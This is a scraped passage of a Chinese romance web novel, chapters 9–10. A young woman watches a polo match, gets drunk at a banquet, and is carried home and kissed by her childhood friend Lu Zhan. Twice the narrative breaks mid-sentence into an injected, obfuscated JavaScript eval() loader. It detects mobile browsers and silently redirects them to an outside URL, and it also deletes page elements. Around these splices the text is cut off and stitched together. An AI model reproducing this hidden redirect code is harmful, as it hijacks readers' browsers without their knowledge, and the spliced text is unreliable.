因要到书院去,作为学子,自然已经换上了青衿,我挪步靠近陆辗,谄媚笑着,扯着陆辗青衿衣袖,唤他:“陆辗……” “嗯。”陆辗冷淡应了一声。 我继续扯他衣袖:“你能不能陪同我一起去苏娘子家,你也不忍心我被人牙子敲晕卖了吧?再者说,你本来就是在等我,不是麽?” “呵!谁说我是在等你?谁说我不忍心?人牙子把你卖了,省的你总是烦我。” “我说的,陆辗,你就陪我一起去嘛,求求你了,我以后都不烦你了成不成?” “陆辗,陆辗,好陆辗,天底下最最好的陆辗……” 陆辗是不看我,我跳到他面前去,唤他名字,他再看另一边,再跳到他面前,来回几次,他终于看我,我看到他眼中明灭笑意,他道:“我可以陪你去。” 我抓着陆辗双手,站在他身前晃。 “谢谢你,陆辗,你最好了!” “别急着谢,我话没说完……” “哦,你还要说什么?” “以后,不要再躲着我……” “好!” 这要求很容易的嘛!我才忻悦地想着,如同往常将笈囊给陆辗,陆辗也如同往常将我笈囊拿过去,却忽然抓着我,低头在我耳边道:“我亲你时也不要躲。” 9. 第 9 章 正月前几日大家都走亲访友,到了初七初八,各家才闲了下来,正好这时州府要举办一场盛大的击鞠比赛,浔阳城中青壮年都会参加,可是相当的热闹呢。 听闻此事是江州司马也就是梁七郎他爹提议的,梁司马原本是京官,在万年县任职,因渎职被贬谪到了江州,他言长安城中盛行击鞠,连圣人都常常和大臣们一起击鞠,于是向曹刺史提议正月初九,在浔阳城城郊旷野举办击鞠比赛。 梁司马果真是很精于乐事,自他到来后,逢年过节浔阳城可都热闹得很,而他亦常常在宅中设宴,招文人雅士到宅中去赴宴,或者和江州名豪一起泊舟彭蠡,或者一行人到庐山上去游玩、探幽。 噫,听闻他这些事迹后,我猜想或许这就是他被贬谪到江州来的原因罢。 梁司马本性不改,江州便也因他的到来而更加热闹。 击鞠比赛连续进行了三日,终于到了最后一日的角逐,胜者可获得州府发放的赏彩。 而最后角逐赏彩的是我们浔阳城东的击鞠队和都昌的击鞠队。 这日惠风和畅,阳光明媚,是个好日子,野外人挤人,围绕着中心的击鞠场,有些身手敏捷的甚至爬到了树上去,一棵树上挂满了人,摇摇欲坠。 我看着那树上的人呼吸都屏息住,又挽着温娘往前走去。 陆辗和梁七郎都隶属于浔阳城东的击鞠队,他们早早便已经过来准备,我是和温娘拖拖拉拉落在了身后,此刻才赶到,由于看击鞠比赛的人实在太多,没了好位置,我和温娘只得被人领着到击鞠队休息整顿的地方去。 “兰娘,你说他们会不会输啊,都昌的击鞠队好厉害呢!” 我看过都昌击鞠队和其他击鞠队的比赛,他们是很强悍,个个身强力壮,此时还有些春寒,他们个个露着粗壮的臂膀,毫不畏冷,如此粗狂的一支击鞠队,一开始许多其他击鞠队还有看客还讥讽他们一群莽夫,后来再无人说这话,他们势如破竹,一直大胜。 我们城东的击鞠也是一直大胜。 不知道这两支击鞠队究竟谁能拔得头筹,夺取赏彩,我自然是私偏我们城东的击鞠了,我希望他们赢,对手太强悍,不免忧虑。 我摇了摇头,回温娘:“不知。” “有七郎和陆辗在,一定会赢的!” 我听着温娘这话,挤了挤她,打趣她:“哎哟,七郎~叫得这样腻,啧啧啧!” 温娘回挤着我,咳了一声,正色道:“怎么,我不信你没叫过你的好陆辗,你私下叫他什么?陆郎?辗郎?” 我是不自然起来,回怼温娘:“我才不会这么叫他。”我是从来连名带姓叫陆辗的,什么陆郎,辗郎,想一想都浑身一激灵,太肉麻了,腻死。 “叫七郎就腻了,那陆辗可是一口一个花奴,除了和你家相熟的长辈,就他整日唤你乳名,啧啧啧!” 对噢,怎么陆辗整日唤我乳名我就不感到有什么奇怪的?我长大后,小时的玩伴几乎都已经改口唤我兰娘,不很熟悉大多唤我郑娘子、郑小娘子,只有陆辗一直不曾改口。 温娘见我不语,得寸进尺,高傲地仰起头道:“哼哼,没话说了吧。” “那是他叫习惯了而已。” 我和温娘一路拉拉扯扯打打闹闹,很快就到了城东击鞠队歇息的地方,因是城郊,便是歇息的地方也很随意,围了帐,中央摆着长桌,上面放着补给,周围是圆凳。 我和温娘准备去拿两个圆凳坐到歇息地旁的位置,还没坐下,梁七郎便叫走了温娘,两人去了远处说话。 击鞠比赛因为场地出了点小问题稍微延后,此刻还没有开始,我一个人待着无趣,又没有看到陆辗,想着闲着也是闲着,我还不如转悠转悠。 这么一转悠便转悠到了都昌击鞠队歇息的地方,我摘了一捧花,想着一会儿可以送给陆辗,心里想得正美,这会儿比赛也要开始了,我转身打算回去,迎面见到三两个娘子结伴而来,她们戴着幂篱,我并不能看清她们的面容,只是听到了她们说话,听着声音是和我年岁一般大的小娘子,听着声音不熟悉,应该不是浔阳城中的人。 我拿着一捧花,低头嗅着花香,与她们擦肩而过。 “我央求了爹许久他才让我来看这次击鞠比赛,果真不虚此行,看到了好多年轻郎君,咱们江州有那么多青年才俊呢,平日里都不见他们,以前踏青也不见他们出来,此次刺史举办击鞠赛一个个都冒出来了。” “咦,你这是择婿来了,说什么看击鞠比赛,都是你的借口。” “你敢说你没看?我看你眼神直勾勾的都要掉出来了。” “我本来就是来看郎君的,都昌的那几个郎君,不愧为丈夫,那腱子肉不是那种书生能比的。” “我喜欢湓城那几个,马术绝佳,看他们潇洒骑马击毬赏心悦目,可惜击毬术差了些,配合也不足够好,惜败了。” “我喜欢浔阳城东的好几个……” “浔阳城东的那几个没意思,只能看看,一问全都定亲了,不知他们城东的怎么都定亲这样早,徒惹人嗟叹,少看两眼罢,多看几眼误终生,再看其他的都没滋没味了起来。” …… 听着她们的话,我忍了许久还是笑出了声,只是我捂着嘴,才没有发出不雅的声音,这么埋着头走路,没注意,头上忽然感到阻力,我抬头,看到陆辗正一手拿着毬杖一手伸直握拳抵住我的脑袋。 “笑成这样子,什么事让你这样欢快?” 我望着陆辗,心间念头一起,扬了扬我手中的花假装显摆道:“我收到了别人送的花呀,你看好不好看?” 本来眉眼舒展的陆辗一下子眉眼冷肃起来,冷冷道:“不好看,乱七八糟。” 我撇了撇嘴,低头看着我手中的花,搭配得没有这样糟糕吧?我可是静心挑选过,摘去一些多余花枝花叶的…… 陆辗喜爱莳花,他卧房窗边书案上常年摆放一个瓷瓶,瓷瓶内随着时节插放不同的花枝,他算是精研过此中门道,他说乱七八糟,想来是很难入他目了,如此,我还要送给他麽?他必定是很嫌弃的。 “我觉得挺好看的……”我咕哝着,再摆弄了一下花枝位置,拿给陆辗看,“这样呢?有没有好一点点?” “没有。”陆辗扭着头,往前走去。 我追上他:“那你觉得怎么样会好一点?” “怎么样都不好。” “哪有这么差劲!一会儿我去问温娘,肯定是你太挑剔了!” 可是问温娘好像也没用,这花本来是要给陆辗的,本来还打算逗趣他一番,现下是逗到了我自己才是,好吧,反正也是心血来潮,既然陆辗不喜欢,就不送送给他了,我自己拿着罢,我是很会开导自己了,顷刻之间便不感到郁郁了。 “诶,陆辗,你来找我是不是有什么话要和我说啊?” “不是。” “哦。” 身后忽然传来震天响地鼓舞声:“都昌!必胜!都昌!必胜!” 我回头看了看,看到都昌的击鞠队已经集结在一处,个个整装待发,看起来十足有气势。 虽然我是更想城东的击鞠队赢,可是我还真不确定陆辗他们会不会赢,他们配合很好,但是都昌的那些人是很凶猛,不容小觑。 “你看什么?你从那边回来的,是那边的人给你的?” “嗯,啊?什么给我的。” 陆辗微抬下巴,看着我拿着的花。 我明显感觉到了他对于这束丑花的嫌弃,我将花捏得死紧,藏到了身后,不让他看到,又想着陆辗总不至于去一个个问那么多人,我就说是那边的人送的,还能找回点面子,他就不知道这丑花其实是出自我手了,哎呀,我怎么那么聪明呐! “对啊!”我咧嘴笑着,这好像是我的习惯,说假话时就会笑得很灿烂,都是为了掩饰我的心虚,“虽然品相差了些,好歹是一片心意。” 当然这心意我已经不打算送出去了。 “一束花就这么欢喜,就这么容易哄。” “收到礼自然应该开心……”而不是嫌弃,挑挑剔剔,哼! “陆辗!” 远远的有人喊了陆辗,他回应了一声,对我冷淡说一句:“自己回去,我先过去了。” “好,你去吧。” 真奇怪,我怎么觉得陆辗好像有点儿不快,他今日是怎么了?我今日可没有招惹他,惹他不快,那就是其他人了,也不知道是谁。 这最后一场击鞠赛是真的相当的精彩呢,双方势均力敌,场面很是焦灼,一直难分胜负。 我一边我们手中的花编着花环一边紧张地关注着赛场,编花环自然是因为陆辗不喜欢花束那就编成花环好了,他不要我就自己戴头上,好吧,主要是一直拿着很不方便,而鲜花丢了也可惜。 周围都是一声高过一生的欢呼声,到了后面,即将分出胜负的时候,声音已经激烈到能震聋人耳,其中两道声音最为明显。 一道声音是:“都昌!必胜!都昌!必胜!” 另一道声音是:“浔阳!必胜!浔阳!必胜!” 互相较劲,想要压制过对方,以至于声音越来越高亢,有些人都不看赛场了,而是闭着眼睛嘶吼。 我和温娘也在随着周围人群叫喊着,我感觉等比赛结束了,我和温娘的声音估计都要喑哑了。 我盯着地面上滚动的彩毬,看着它在马蹄下飞来滚去,心里激动不已,这一场时间将至,双方还是平筹,这最后一筹至关重要。 梁七郎控住了彩毬,温娘尖叫了一声,高呼:“七郎!” 不过瞬间,梁七郎突破重重包围,将彩毬击送到了陆辗那边,陆辗那边位置很好! 他一手握住缰绳控马,侧倒与一侧,一手拿着毬杖击彩毬,过了前来拦截的一个壮汉。 最后一击,过了对面球门,片刻后,最后一场击鞠比赛结束。 赢了! 我和温娘抱在一起来欢欣地蹦跳起来,我们周围以及身后的人自然也是。 陆辗他们骑着马回到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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有一回我看话本一夜未眠,翌日诵读诗文时困得狠了直接趴在书案补眠,因此被掌教责罚去扫藏书楼,我叫陆辗帮我,陆辗说他帮了我我会不记教训,于是拒绝了我,叫我自己扫,我自然知道这是我该罚,只是他帮我的话我会很高兴,不帮我我也理解了。 那日,周九郎来藏书楼还书,见我一人苦哈哈扫藏书楼,便提出帮我一起扫了藏书楼,我和他原本只互相知晓对方名姓,他突然热心助我我是很惶恐的,奈何他手脚太快拿起扫帚就开始扫,我阻止不了,便只能郑重感谢他了,也是因此我们得以结识。 他是个很好很好的人呢,他课业也很好,不是陆辗的那种好,他是比较勤勉用功,所以他懂我对一些古文的不理解之处,还借了他的读书笔记给我,上面有很多详细注解。 看到他,我自然是高兴的,碰到久不见的朋友的那种高兴。 我和周九郎寒暄了一会儿,他忽然邀请我赴宴,一个小宴会,除了他还有其余几个也是我比较熟的书院学子,他们要在浔阳住两日才离去,我和他们在书院时经常会面,各自回了家是好久没见过了,我思量了一下,击鞠比赛已经结束,一会儿我没有什么重要的事必须做,便应了邀约。 他们和我相熟,但和陆辗并不相熟,我也不好叫上陆辗,本想告诉陆辗一声我和周九郎他们有约,不想陆辗还没有脱困,罢了,我去和另外一个击鞠队的人说了这事,托他代为传达。 我同周九郎还有其他几人一起回了浔阳城,到了他们下榻的客栈,他们原本就要宴饮作乐,客栈已经准备好了小宴,不必等待。 觥筹交错,欢声笑语,结束时已经入夜,还好着客栈离我家不算远,我辞别了他们,晃晃悠悠地出了雅间。 啊,喝多了,这客栈的花果酒特别好喝,甜甜的,不知不觉就多饮了几杯,没想到这花果酒酒劲这样大,我竟然,竟然,眼前一片模糊,看东西出现重影,走路似乎也不大稳当了,这,回家一定会挨阿娘训斥,不回家,那是不行的。 我没想到周九郎追了出来,他说他要送我回家,太好了,我本还在担心,我醉成这样得摔几跤才能到家。 “多谢,劳烦你了。” “无碍,你是不是喝醉了?” 我用力地点头:“嗯。” “还走得了吗?” “有点儿,有点儿不行,你能不能扶一扶我,我家离这里不远。” “好。” “太好了,多谢你。” “不必如此客气,你已经说过几次谢。” “再多一次,多一份感谢。”我认真道。 “如此,随你罢。” 有了周九郎扶我走,我感到好走了很多。 我稳步下到了客栈一楼,不曾料到,我们刚到了客栈一楼我就看到了陆辗,我以为我喝醉了眼睛昏花看错,使劲眨了眨眼待目清后仔细看去,恰好看清陆辗抬眼,他面色冷肃,凉凉目光落到了我身上,我本因喝多而身热,因他这一眼遍体生凉。 10. 第 10 章 陆辗真是闲呢,一个人坐在客栈里独坐饮酒。 他究竟是遇到了什么事啊?惆怅到独坐愁饮。 看着他这样子,我正凝神忖思,还没走到陆辗那儿去问他究竟是怎么了,他已经先起身走了过来。 “陆辗……”我刚唤他名字,打算问他是不是要回家了,回家的话带上我,我就不用劳烦周九郎送我回家了。 而陆辗已经将我从周九郎这边拽过去,他拽我,我自然是放开了周九郎顺从地被他拽过去,我只是有些疑惑,我感觉到了他不似乎爽快,可是我无从得知他的不爽快是因为什么。 陆辗盯着周九郎,一语不发,周九郎是坦然和陆辗对视,他俩不知怎么了,突然有了些对峙的架势,就这么互相盯着对方,僵持着,一会儿后,陆辗转身拽着我就要走。 我感觉陆辗此举很不客气,没有礼仪风度,看在他今日心情不好的份上我是可以原谅他,心情不好时耍耍性子是可以的,我也会有这样的的时候,可周九郎真是无妄之灾。 我回拽住了陆辗让他停下,代他向周九郎致歉,周九郎是和脾气极好的人,他自然没说什么,只和我说了几句临别说辞。 与周九郎辞别后我再次被陆辗拽着离开了客栈。 离客栈远了,周遭也没什么熟人了我才对陆辗说:“陆辗,虽然你今天心情不好,但是别人又没有错,你做什么要对周九那样不客气,又不是他得罪了你。” 应该不是吧,周九郎和陆辗都不熟,在我眼里他们俩是不熟的,我不曾见过他们在一起闲谈什么的,话都没说过几句的人应该是不熟吧,既然不熟那自然不可能是周九郎让陆辗心情不愉的了。 陆辗沉默不语,放开了我,望着我,却是一声不吭,我也回望着他,他偏头移开了视线,我想他应该是知道是他之过了,我本也不是想苛责他什么,如此便算了吧。 我扯了扯陆辗衣服,问他:“陆辗,你遇到了什么事让你不愉快了吗?” “没有。” “你脸都黑了还没有,你究竟是怎么了嘛?” “没怎么。” 看来事情很大啊!强行问他,他必定也不会说,不过,一直问的话,他还是可能会说的……可能…… “赢了击鞠比赛,得了赏彩你还闷闷不乐,究竟是发生了什么事啊?” “说了没事,别问了。” 陆辗说完这话阔步往前走去,他走得这样快,步子又大,我必然是跟不上他的,还是尝试了一下,跟着他走了会儿,确实跟不上,转瞬间他已经离我有十几步远,我本就酒醉头昏,风一吹,酒劲更大了,便是踉踉跄跄的走也走不了,腿软,头重脚轻,看不清路。 “陆辗……” “陆辗……” “陆辗!” 陆辗终于回头看我:“怎么了?” 我站在原地鼓着脸看他:“走不动。” 看着两个,哦不,三个陆辗向我走来,我摆手晃了晃眼前虚影,触碰到了真的陆辗才对着他的方向道:“走不动,贪杯多喝了一点儿花果酒,现在头重脚轻。” 陆辗呵笑一声,道:“见到他,和他喝酒你这么高兴?喝到醉了都不知道。” 我晃了晃脑袋醒神:“甜甜的,没感觉出来喝多了,站起来了才发觉头昏眼花。” 我想我是喝醉了,喝醉的人总是毕竟肆意妄为。 我突然抱着陆辗腰,仰着头望着他:“陆辗,走不动,你背我回去嘛!不然我就让你也走不了,一直抱着你。”说着,我又用多了一些力气将陆辗抱住。 我真是有先见之明,陆辗果然要扯开我,奈何我就这样赖着他他怎么也扯不开。 我继续撒泼:“好陆辗,你背我嘛,你又不是没背过我,真的走不动了。” 僵持了好一会儿,陆辗道:“你不放开,我怎么背你?” “哈哈!你答应了!” 我是怕陆辗反悔,瞬间就转到他身后撑着他的肩往上跳,他没有反悔,还接住了我,我稳稳落到了他背上。 趴在他背上时我只想着真是太好了,不用自己走了,我趴在陆辗肩头,歪头和他说话。 “陆辗,你怎么会在客栈啊?” 其实我更想问他怎么一个人坐在客栈里饮酒的,想了想我决定还是循序渐进慢慢问,不然他又是回我一句没事打发我。 “等你。” 我顿时精神了,呆瞪着陆辗侧脸:“你是在等我?” 陆辗嗤声道:“看不出来?” 我是有些反应迟缓,好一会儿后才讷讷道:“你怎么会来等我啊?” 他是在等我啊? “你说呢?一声不吭,一转眼人就不见,问了人才知道你和人先走了,先前就和你说过击鞠队比赛结束要去庆贺,你就这样失约去赴新约?” “你是说过,可是,我不是你们击鞠队的啊……” 我连后勤都不是,难道也要去吗?没有这个道理嘛!我以为陆辗当时就是随意一说,提一提这事罢了,他是在告诉我叫我去? “对不起嘛,我应该自己告诉你再走的,我有告诉人托他转告你的……”我哪里有一声不吭就先走了…… 陆辗只从鼻腔哼出一声,他好像是更生气了,万幸的是他没有将我从他背上甩下去。 “我和周九郎他们许久未见,我才应了邀约的。”我解释道。 “是麽,他约你你就去了,你和他很好啊,他帮你扫藏书楼,为你写读书笔记……” 听着陆辗说着我和周九郎之间发生的事,我是惊愕起来。 “你怎么知道他帮我扫藏书楼?”我拍打了一下陆辗肩膀,“诶,你自己不帮我,别人帮我也不行啊?还有,他借我读书笔记,那是因为我们是关系不错的朋友,这又怎么了?你有什么意见?” “我能有什么意见?” 陆辗一句话将堵死,我虽然喝醉了,还是听得出来他这话有置气之意,虽然不知道他今日为何这样,但是还是哄着他好了,谁叫我心善呢,我现在并不想和他置气。 我戳了戳陆辗耳朵:“好嘛,是我的错,我没听出来你和我说时是叫我一起去……我们扯平,谁都不要再计较成不成?你白日里那般嫌弃我要给你的花,我都没有生你的气。” 陆辗顿步,站在原地问我:“什么花?” “你真是贵人多忘事,这就忘了,白日里我问你花好不好,你一脸嫌弃说乱七八糟,什么样都不好,这般挑挑剔剔……那可是我采了好久的……你不要我只能做成花环自己戴着了,我问过温娘了,她说才没有那么不好,哼!” 陆辗偏头,发觉我霸占着他肩头他又偏回去,他似乎是想说什么的,不知为何没说,而是继续往前走,走了几步他才道:“你仔细回想一下你是怎么和我说的?” 我狡辩道:“我问你好不好看,你都嫌弃了我怎么还好意思再说是给你的,我想这不要那么没脸面,才说了是别人给我的……” 我是听到陆辗长长嗟叹了一声,他真的一叹后好像就没有那么肃然了,真是,翻脸如翻书。 为了防止陆辗再翻脸,我追问他:“陆辗,我们扯平了吧?” 陆辗再长嗟一声,嗯了一声回应我。 他应声了,那就是没事了,那就行了。 我趴在陆辗背上哼着愉悦的歌谣,哼了一会儿,忽然想起让我醉的花果酒。 “陆辗陆辗,你刚才也在客栈喝酒,你喝的是不是那客栈的花果酒?是不是很好喝?这是客栈新来的厨子酿的,以前是没有的,真的好好喝啊,明日我去问问他们卖不卖。” 我自说自话说了半晌,陆辗简略道:“不是,喝的普通清酒。” “哦。”我热烈的心绪被他浇了一盆凉水,熄灭了。 之后一路安静,我继续趴在陆辗肩上哼着歌谣,终于到了最后一个巷道,尽头便是我家和陆辗家,今日这巷子旁的人家似乎不在家,没有亮光,这巷道里黑漆漆的,勉强可以视物。 快到家了,我抬眼觑了眼我家和陆辗家门口,无人,巷道里也无人。 我心神念动,凑近陆辗耳边唤他:“陆辗……” “嗯。” “你回头看看我嘛!” “你又怎么了?”陆辗无奈偏头过来看我。 我稍微撑着他肩,看着他偏头后迅速低下头,歪头贴上他双唇,片刻后我退后,盯着他的影子问他:“这花果酒的花香、果香和酒香融合在一起,是不是很香甜?我没有骗你吧。” “没尝到。” “好吧,明天我去买回来,不卖的话我们去客栈。” “现在。” “我在客栈楼下等了你一个半时辰。” 我正想驳斥,听他这样说又把话咽了下去,我腹诽着,又不是我叫你等的。 “好吧,那我们现在回去,反正我今日喝多了本就会挨阿娘训斥,再喝一点儿也无所谓了。” “不回去。” “嗯?” “刚才那样。” 我恍然大悟,得意地笑起来,悄声道:“原来你想要我亲你啊陆辗。” 我再次歪着头,毫不感到羞赧,就这么亲了上去。 第一次结束后我问他:“怎么样?尝到了吗?” 陆辗静默一瞬,道:“没有。” 没有?那再来一次。 “这次呢?我已经很尽力伸到里面了。” 陆辗还是道:“没有。” 行吧,那最后再一次。 最后这一次我是使尽了浑身解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315149|167266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 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我也是喝了不少酒的,不知怎么的就福至心灵,跑到了陆辗房中,陆辗是没醉,不过恰好他被他爹叫去他家房中为行酒令正欢的四个酒鬼取酒去了,没瞧见我。 我跌跌撞撞进了陆辗卧房,他卧房特别整洁干净,所有东西都摆放得整齐有序,因房中插有花束,还有隐约花香,我嗅了下花香,而后直接趴进了他被褥里,一觉睡到天明。 翌日醒来,我被惊吓到了,酒醉时胆子大,做什么都敢做,酒醒了,我的胆子回来了。 我怎么在陆辗房中睡了一夜!他要骂死我了,所谓,那句话怎么说来着,卧榻之内怎容他人酣睡? 我怔忡了一会儿,发觉房中无人,陆辗不在,我松了口气,看着窗户,我又福至心灵。 我打算跳窗而逃! 谁料我刚走到窗前,陆辗卧房的门被打开了,是范娘子,她看着我,笑眯眯的,道:“醒了?你爹娘正找你呢。” 我磕磕巴巴地道:“我我我,昨夜困迷糊了。” “我也是这样同你娘说的,我会为你保密,我告诉她你昨夜和我一起睡的。” 我很不好意思地问:“陆……陆辗呢?” 范娘子甩了甩手:“你别忧心他,他一个男儿,随便找个地睡就行。” 后来我知道这所谓的随便找个地就是,范娘子让陆辗随便找个地铺开竹席睡的,我知道后只想着完了完了完了,陆辗的床被我霸占了,让他只能睡一夜竹席。 我离开陆辗家时他还未醒,听范娘子说他昨夜到了鸡鸣时候才回房睡,结果困得不行想睡了回到卧房发现自己的床上有个人。 是我的话我是要气狠了。 这一日,我终于深刻感受到吃酒误事啊!我暗暗想着以后决计不能再发生这样的事了。 我回家挨了爹娘狠狠地责备,还被娘用竹片子打了手心,打到手心通红,我以为这教训一定让我记忆深刻,永远铭记在心了。 不曾想,重蹈覆辙。